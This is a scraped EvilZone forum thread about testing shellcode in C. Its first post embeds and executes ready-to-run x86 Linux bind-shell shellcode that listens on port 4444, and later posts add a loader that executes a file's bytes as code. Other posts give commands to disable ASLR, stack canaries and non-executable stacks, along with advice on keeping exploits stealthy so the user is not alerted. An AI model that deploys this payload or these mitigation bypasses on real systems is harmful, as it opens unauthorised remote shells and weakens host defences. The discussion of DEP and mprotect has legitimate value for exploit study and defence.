EvilZone
Programming and Scripting => C - C++ => : Z3R0 September 05, 2013, 06:57:02 PM
-
Pastebin link:
http://pastebin.com/aXXzwQsz
/*
Linux Shellcode Tester
Compile: gcc sc_test.c -o sc_test
Author: m0rph
Replace contents of buf with your desired payload
i <3 u evilzone
*/
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("[!]A bad payload will result in a Segmentation fault.\n");
/* linux/x86/shell_bind_tcp LPORT=4444 */
unsigned char buf[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
void *exec = buf;
printf("Allocating memory for payload.\n");
memcpy(exec, buf, strlen(buf));
printf("Executing payload...\n");
((void(*)())exec)();
return 0;
}
-
Another example that allows you to read the shellcode from a file
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdlib.h>
int main(int ac, char ** av){
void (*sc)(void);
int fd;
struct stat sbuf;
if (ac != 2){
fprintf(stderr, "Usage: %s <filename>", av[0]);
exit(EXIT_FAILURE);
}
if ((fd = open(av[1], O_RDONLY)) < 0){
perror("open()");
exit(EXIT_FAILURE);
}
if (fstat(fd,&sbuf)){
perror("fstat()");
exit(EXIT_FAILURE);
}
if ((sc = mmap(NULL, sbuf.st_size, PROT_READ |
PROT_WRITE |
PROT_EXEC,
MAP_PRIVATE, fd, 0)) == MAP_FAILED){
perror("mmap()");
exit(EXIT_FAILURE);
}
close(fd);
sc();
return 0;
}
Hello-world shellcode
[BITS 32]
push byte 0x0a
push "rld!"
push "o wo"
push "hell"
push byte 0x4
pop eax
xor ebx, ebx
mov ecx, esp
push byte 0xd
pop edx
int 0x80
xor eax, eax
inc eax
mov ebx, eax
int 0x80
chapp@chapp:~/code$ gcc sc.c -o sc -m32
chapp@chapp:~/code$ nasm hello.asm
chapp@chapp:~/code$ ./sc hello
hello world!
-
A more shorter execute shellcode version:
unsigned char code[] = "\x13\x37";
int main()
{
int (*ret)() = (int(*)())code;
ret();
}
-
A more shorter execute shellcode version:
unsigned char code[] = "\x13\x37";
int main()
{
int (*ret)() = (int(*)())code;
ret();
}
This is not guaranteed to work. If code[] is alloc'd on the heap the OS may prevent you from just straight up executing it. You need to make sure it's marked as 'execute' and 'read' at least before executing that.
-
This is not guaranteed to work. If code[] is alloc'd on the heap the OS may prevent you from just straight up executing it. You need to make sure it's marked as 'execute' and 'read' at least before executing that.
Yhea i always disable the compiler protections when i use it :)
-
Yhea i always disable the compiler protections when i use it :)
Not necessarily compiler, OS level protections exist too and for the same reasons it might not work
-
On Linux be sure to disable randomization when testing shellcode or just simpel exploitation and then compile without stack smashing protection and/or executable stack
Disable system wide randomizationecho 0 > /proc/sys/kernel/randomize_va_space
gcc flags for executable stack and no canaries
-fno-stack-protector -z execstack
My shellcode tester takes care of this stuff by marking memory RWX
-
On Linux be sure to disable randomization when testing shellcode or just simpel exploitation and then compile without stack smashing protection and/or executable stack
Disable system wide randomizationecho 0 > /proc/sys/kernel/randomize_va_space
gcc flags for executable stack and no canaries
-fno-stack-protector -z execstack
My shellcode tester takes care of this stuff by marking memory RWX
Also as far as i know the default configuration of GDB disables ALSR internally.
-
Also as far as i know the default configuration of GDB disables ALSR internally.
Starting the application with gdb disables randomization, or rather does not enable randomization, but if the debugger is attached to a running process then randomization is active although all randomization is done hence everything stays in place during your debugging session.
-
Yhea i always disable the compiler protections when i use it
This is not an issue with the compiler, but rather the kernel itself and it's protection measures. bluechill is correct.
If the kernel has DEP like Windows (if enabled, it's disabled by default), then all of these will not work. You should be making a call to mprotect() (Linux) to mark that page executable. Else, this will not work at all without raising the protection level for that page. This is because most kernels mark DATA as non-executable.
mprotect(): http://linux.die.net/man/2/mprotect (http://linux.die.net/man/2/mprotect)
Executing a byte array is as trivial as marking the page it's on as executable. On POSIX/Linux, you would use mprotect() for instance, and then cast the pointer to that array to a function, and finish by calling it; allows the processor to execute the byte array as a set of opcodes essentially. This is the proper way anyways... There's no guarantee that any of the above methods will work with DEP (it shouldn't).
This is how Chrome works in order to compile and execute javascript to native code (look up WebKit nitro engine).
Another thing is that the code you're running is needed to have a prolog and an epilog to successfully save the registers it needs to save (instruction/stack pointer) otherwise a return address is MIA.
On Windows, the appropriate call to make would be VirtualProtect(), darwin -- vm_protect()...
-
If the kernel has DEP like Windows (if enabled, it's disabled by default), then all of these will not work. You should be making a call to mprotect() (Linux) to mark that page executable. Else, this will not work at all without raising the protection level for that page. This is because most kernels mark DATA as non-executable.
Notice this is hardware supported on modern CPUs, but required the OS to take care of using this feature. For non-compliant CPUs the PaX team's (grsecurity.net) patch for Linux emulates this behavior. The patch also ensure data segments where it has been possible to write data cannot be marked executable without the memory have been destroyed.
Another thing is that the code you're running is needed to have a prolog and an epilog to successfully save the registers it needs to save (instruction/stack pointer) otherwise a return address is MIA.
On Windows, the appropriate call to make would be VirtualProtect(), darwin -- vm_protect()...
Prolog and epilog depends on what you want to accomplish. If you are writing an exploit you might not care at all what happens after it has run. You most likely cannot restore the application's state after corrupting memory after all.
-
Although DEP is managed by the OS, Windows allows you to configure it yourself as well. Not too sure about Linux off the top of my head, that can be researched though. :)
If you are writing an exploit you might not care at all what happens after it has run. You most likely cannot restore the application's state after corrupting memory after all.
Actually, if you are writing a modern exploit, most are not as "visible" as they used to be because everything nowadays is more useful if stealth. If you are writing some exploits you definitely will care what happens after it runs; you don't want anything to crash, as this will most likely give off a first alarm to the user. Advanced implementations are written so that it will run alongside the application and not against it, and this is what should be aimed for if possible.
-
Although DEP is managed by the OS, Windows allows you to configure it yourself as well. Not too sure about Linux off the top of my head, that can be researched though. :)
Actually, if you are writing a modern exploit, most are not as "visible" as they used to be because everything nowadays is more useful if stealth. If you are writing some exploits you definitely will care what happens after it runs; you don't want anything to crash, as this will most likely give off a first alarm to the user. Advanced implementations are written so that it will run alongside the application and not against it, and this is what should be aimed for if possible.
I agree that optimally you'd want to keep the application running, but this is not always possible. In fact quite often it is impossible due to a big chunk of memory usually being corrupted.
-
I agree that optimally you'd want to keep the application running, but this is not always possible. In fact quite often it is impossible due to a big chunk of memory usually being corrupted.
Yes, but that doesn't mean you don't care what happens after the shellcode is executed on the machine. You *should* still care anyways, regardless of whether or not you can find something that works or not as best as you planned it.
Cheers :)